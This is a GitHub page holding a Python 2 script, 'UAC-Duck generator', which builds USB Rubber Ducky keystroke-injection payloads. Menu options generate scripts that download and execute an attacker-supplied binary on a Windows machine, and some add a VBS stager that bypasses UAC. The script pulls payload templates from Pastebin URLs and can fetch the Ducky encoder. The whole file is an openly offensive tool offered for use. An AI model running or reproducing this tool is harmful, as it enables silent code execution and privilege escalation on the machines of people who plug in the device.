forked from Flangvik/UAC-D-E-Rubber-Ducky
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathuac-duck.py
281 lines (223 loc) · 9.4 KB
/
uac-duck.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
import sys
import urllib
import urllib2
import time
import os
def genscripton():
if os.path.isfile('DuckyScript.txt'):
os.remove('DuckyScript.txt')
print "[+]Please input your UAC VBS Payload URL (Pastebin/RAW recommended Example: http://pastebin.com/raw/VBSPAYLOAD ):"
genpayon_url = raw_input().lower()
print "[+]Please input your Payload save filename (Example: update.vbs):"
genpayon_name = raw_input().lower()
if not genpayon_name and genpayon_url:
print 'Using deafult params'
with open('DuckyScript.txt', 'a') as the_file:
txt = urllib.urlopen("http://pastebin.com/raw/8nYdas2y").read()
txt = txt.replace('[URL]', genpayon_url)
txt = txt.replace('[NAME]', "update.vbs")
the_file.write(txt)
print 'Payload DuckyScript.txt generated!!'
time.sleep(2)
main()
elif genpayon_name.endswith(".vbs") and genpayon_url:
with open('DuckyScript.txt', 'a') as the_file:
txt = urllib.urlopen("http://pastebin.com/raw/8nYdas2y").read()
txt = txt.replace('[URL]', genpayon_url)
txt = txt.replace('[NAME]', genpayon_name)
the_file.write(txt)
print 'Payload DuckyScript.txt generated!!'
time.sleep(2)
main()
else:
print "Please input a valid URL"
genscripton()
def duckencode():
if os.path.isfile('duckencoder.jar'):
print "Would you like to encode the ducky script? (Yes/No y/n)?"
yesno = raw_input().lower()
yes = set(['yes','y'])
no = set(['no','n'])
if yesno in yes:
print "Input your keyboard lang, if empty English GB will be used (US, SE, FR etc (Without '-')?"
lang = raw_input().lower()
if not lang:
os.system("java -jar duckencoder.jar -i DuckyScript.txt -o inject.bin")
else: os.system("java -jar duckencoder.jar -i DuckyScript.txt -o inject.bin -l" + lang)
main()
elif yesno in no:
main()
else:
print "Please answer Yes(y) or No(n)"
print "Success! Encoded script saved as 'inject.bin'"
else: duckencodedownload()
def duckencodedownload():
print "We could not find 'duckencoder.jar' in the current path, would you like to download it(Yes/No y/n)?"
yesnod = raw_input().lower()
yes = set(['yes','y'])
no = set(['no','n'])
if yesnod in yes:
Duckencoderjarc = urllib2.urlopen("http://github.com/hak5darren/USB-Rubber-Ducky/raw/master/duckencoder.jar")
with open('Duckencoder.jar','wb') as output:
output.write(Duckencoderjarc.read())
print 'Duckencoder.jar acquired!'
duckencode()
elif yesnod in no:
main()
else:
print "Please answer Yes(y) or No(n)"
def genuacoff():
print "-> Ducky D&E Blazing fast payload (WITH UAC bypass) Offline <- "
print "----------------------------------------------------------------"
if os.path.isfile('DuckyScript.txt'):
os.remove('DuckyScript.txt')
print "[+]Please input your binary payload name located on the drive(Example: update.exe):"
genpayon_payloadname = raw_input().lower()
print "[+]Please input your desired UAC VBS local filename(Example: update.vbs):"
genpayon_stagername = raw_input().lower()
print "[+]Please input your Twin-Duck drivename (Example: backup ):"
genpayon_drivename = raw_input().lower()
if genpayon_drivename:
if genpayon_payloadname.endswith(".exe") and genpayon_stagername.endswith(".vbs"):
with open(genpayon_stagername, 'a') as the_file:
txt = urllib.urlopen("http://pastebin.com/raw/GBZZsPEe").read()
txt = txt.replace('[NAME]', genpayon_payloadname)
the_file.write(txt)
print 'VBS Stager "' + genpayon_stagername + '" generated!'
time.sleep(3)
with open("DuckyScript.txt", 'a') as the_file:
txt = urllib.urlopen("http://pastebin.com/raw/mXLM5hrC").read()
txt = txt.replace('[NAME]', genpayon_stagername)
txt = txt.replace('[DRIVENAME]', genpayon_drivename)
the_file.write(txt)
print 'Payload DuckyScript.txt generated!!'
print 'Please place the "' + genpayon_stagername + '" file and your "' + genpayon_payloadname + '" on your rubber-ducky with drivename "' + genpayon_drivename + '" drive';
time.sleep(10)
main()
else:
print "Please input a valid payload and/or stager local filename ( Must end with .vbs/.exe)"
genuacoff()
else:
print "Please input a USB drivename"
genuacoff()
def genuac():
if os.path.isfile('UAC-Duck-Payload.vbs'):
os.remove('UAC-Duck-Payload.vbs')
print "-> Ducky D&E Blazing fast payload (WITH UAC bypass) Online <- "
print "---------------------------------------------------------------"
print "[+]Please input your binary payload direct link URL( Example: www.example.com/pay.exe):"
genpayon_url = raw_input().lower()
print "[+]Please input your Payload save filename (Deafult: update.exe):"
genpayon_name = raw_input().lower()
if not genpayon_name:
print 'Using deafult params'
with open('UAC-Duck-Payload.vbs', 'a') as the_file:
txt = urllib.urlopen("http://pastebin.com/raw/apyPSqWs").read()
txt = txt.replace('[URL]', genpayon_url)
txt = txt.replace('[NAME]', "update.exe")
the_file.write(txt)
print "Payload UAC-Duck-Payload.vbs generated!"
print "Please upload this .vbs file as raw text format to a webserver(Pastebin works great)"
time.sleep(2)
genscripton()
elif genpayon_name.endswith(".exe") and genpayon_url.endswith(".exe"):
with open('UAC-Duck-Payload.vbs', 'a') as the_file:
txt = urllib.urlopen("http://pastebin.com/raw/apyPSqWs").read()
txt = txt.replace('[URL]', genpayon_url)
txt = txt.replace('[NAME]', genpayon_name)
the_file.write(txt)
print "Payload UAC-Duck-Payload.vbs generated!"
print "Please upload this .vbs file as raw text format to a webserver(Pastebin works great)"
time.sleep(2)
genscripton()
else:
print "Please input a valid savename/URL ( Must end with .exe)"
genuac()
def genoff():
if os.path.isfile('DuckyScript.txt'):
os.remove('DuckyScript.txt')
print "-> Ducky D&E Blazing fast payload (Without UAC bypass) Offline <- "
print "------------------------------------------------------------------"
print "[+]Please input your binary payload name located on the drive(Example: update.exe):"
genpayon_name = raw_input().lower()
print "[+]Please input your Twin-Duck drivename (Example: backup ):"
genpayon_drivename = raw_input().lower()
if genpayon_name.endswith(".exe"):
with open('DuckyScript.txt', 'a') as the_file:
txt = urllib.urlopen("http://pastebin.com/raw/mXLM5hrC").read()
txt = txt.replace('[DRIVENAME]', genpayon_drivename)
txt = txt.replace('[NAME]', genpayon_name)
the_file.write(txt)
print 'Payload DuckyScript.txt generated!!'
print "Remember to place your "' + genpayon_name + '" payload on the ducky drive and rename the drive accordingly"
time.sleep(5)
main()
else:
print "Please input a valid binary payload and drivename"
genoff()
def gen():
if os.path.isfile('DuckyScript.txt'):
os.remove('DuckyScript.txt')
print "-> Ducky D&E Blazing fast payload (Without UAC bypass) Online <- "
print "-----------------------------------------------------------------"
print "[+]Please input your binary payload direct link URL( www.example.com/pay.exe):"
genpayon_url = raw_input().lower()
print "[+]Please input your Payload save filename (Deafult: update.exe):"
genpayon_name = raw_input().lower()
if not genpayon_name:
print 'Using deafult params'
with open('DuckyScript.txt', 'a') as the_file:
txt = urllib.urlopen("http://pastebin.com/raw/8nYdas2y").read()
txt = txt.replace('[URL]', genpayon_url)
txt = txt.replace('[NAME]', "update.exe")
the_file.write(txt)
print 'Payload DuckyScript.txt generated!!'
time.sleep(2)
main()
elif genpayon_name.endswith(".exe") and genpayon_url.endswith(".exe"):
with open('DuckyScript.txt', 'a') as the_file:
txt = urllib.urlopen("http://pastebin.com/raw/8nYdas2y").read()
txt = txt.replace('[URL]', genpayon_url)
txt = txt.replace('[NAME]', genpayon_name)
the_file.write(txt)
print 'Payload DuckyScript.txt generated!!'
time.sleep(2)
main()
else:
print "Please input a valid savename/URL ( Must end with .exe)"
gen()
def main():
print """
_ _ _ ___ ___ _ _ ___ _ __
| | | |/_\ / __| | \| | | |/ __| |/ /
| |_| / _ \ (__ | |) | |_| | (__| ' <
\___/_/ \_\___| |___/ \___/ \___|_|\_\
[+++++++++++++++++++++++++++++++++++++++]
"""
print "Welcome to UAC-Duck generator By Skiddie"
print "What would you like to do?"
print ""
print ""
print "[-------------ONLINE-VERSION-------------------]"
print "[1] - Generate binary download & execute ducky script (Without UAC bypass)"
print "[2] - Generate binary download & execute ducky script (With UAC bypass - 2 stager)"
print ""
print "[-------------OFFLINE-VERSION-------------------]"
print "[3] - Generate binary download & execute ducky script (Without UAC bypass)"
print "[4] - Generate binary download & execute ducky script (With UAC bypass - 2 stager)"
choice = raw_input().lower()
DeNoUac = set(['1','[1]'])
DeUAC = set(['2','[2]'])
DeNoUacOff = set(['3','[3]'])
DeUACOff = set(['4','[4]'])
if choice in DeNoUac:
gen()
elif choice in DeUAC:
genuac()
elif choice in DeNoUacOff:
genoff()
elif choice in DeUACOff:
genuacoff()
else:
print "Please input a number corresponding with your choose(1,2,3,4)"
main()